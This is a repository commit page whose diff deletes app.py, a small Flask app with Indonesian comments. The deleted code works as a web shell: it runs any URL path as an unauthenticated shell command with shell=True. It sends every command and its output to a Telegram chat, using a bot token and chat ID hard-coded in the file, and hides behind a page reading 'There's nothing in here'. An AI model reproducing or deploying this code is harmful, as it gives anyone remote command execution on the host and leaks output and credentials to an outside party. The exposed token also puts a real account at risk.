Zhofang commited on
Commit
3df685a
·
verified ·
1 Parent(s): 6c72791

Delete app.py

Browse files
Files changed (1) hide show
  1. app.py +0 -67
app.py DELETED
@@ -1,67 +0,0 @@
1
-
2
- from flask import Flask, request, render_template_string, Response
3
- import subprocess
4
- from ansi2html import Ansi2HTMLConverter
5
- import requests
6
-
7
- app = Flask(__name__)
8
- conv = Ansi2HTMLConverter(inline=True)
9
-
10
- # Ganti dengan Telegram Bot API Token Anda
11
- BOT_TOKEN = "7194657474:AAF3D5TSXSSgAcnv_PXT4wRrKx5fV-VTNJo"
12
- CHAT_ID = "-1001966063772"
13
-
14
- def send_telegram_message(message):
15
- """Mengirim pesan ke Telegram Bot."""
16
- url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
17
- data = {
18
- "chat_id": CHAT_ID,
19
- "text": message,
20
- "parse_mode": "HTML"
21
- }
22
- requests.post(url, data=data)
23
-
24
- @app.route('/', defaults={'command': ''})
25
- @app.route('/<path:command>')
26
- def execute_command(command):
27
- try:
28
- if not command:
29
- return render_template_string('''
30
- <h1>There's nothing in here:)</h1>
31
- <form method="GET">
32
- <input type="text" name="command" placeholder="Enter command">
33
- <button type="submit">Execute</button>
34
- </form>
35
- ''')
36
-
37
- command = command.replace("_", " ")
38
-
39
- # Log Perintah yang akan dijalankan ke Telegram
40
- send_telegram_message(f"<b>Menjalankan perintah:</b>\n<code>{command}</code>")
41
-
42
- process = subprocess.Popen(
43
- command,
44
- shell=True,
45
- stdout=subprocess.PIPE,
46
- stderr=subprocess.PIPE,
47
- text=True
48
- )
49
- stdout, stderr = process.communicate()
50
-
51
- # Kirim output dan error ke Telegram
52
- if stdout:
53
- send_telegram_message(f"<b>Output:</b>\n<pre>{stdout}</pre>")
54
- if stderr:
55
- send_telegram_message(f"<b>Error:</b>\n<pre>{stderr}</pre>")
56
-
57
- # Tampilkan hanya output di halaman web
58
- html_output = conv.convert(stdout, full=False) # Hanya konversi stdout
59
- return render_template_string('''{{ output | safe }}''',
60
- output=html_output
61
- )
62
- except Exception as e:
63
- send_telegram_message(f"<b>Error:</b> {e}")
64
- return f"Error: {e}"
65
-
66
- if __name__ == '__main__':
67
- app.run(host='0.0.0.0', port=7860)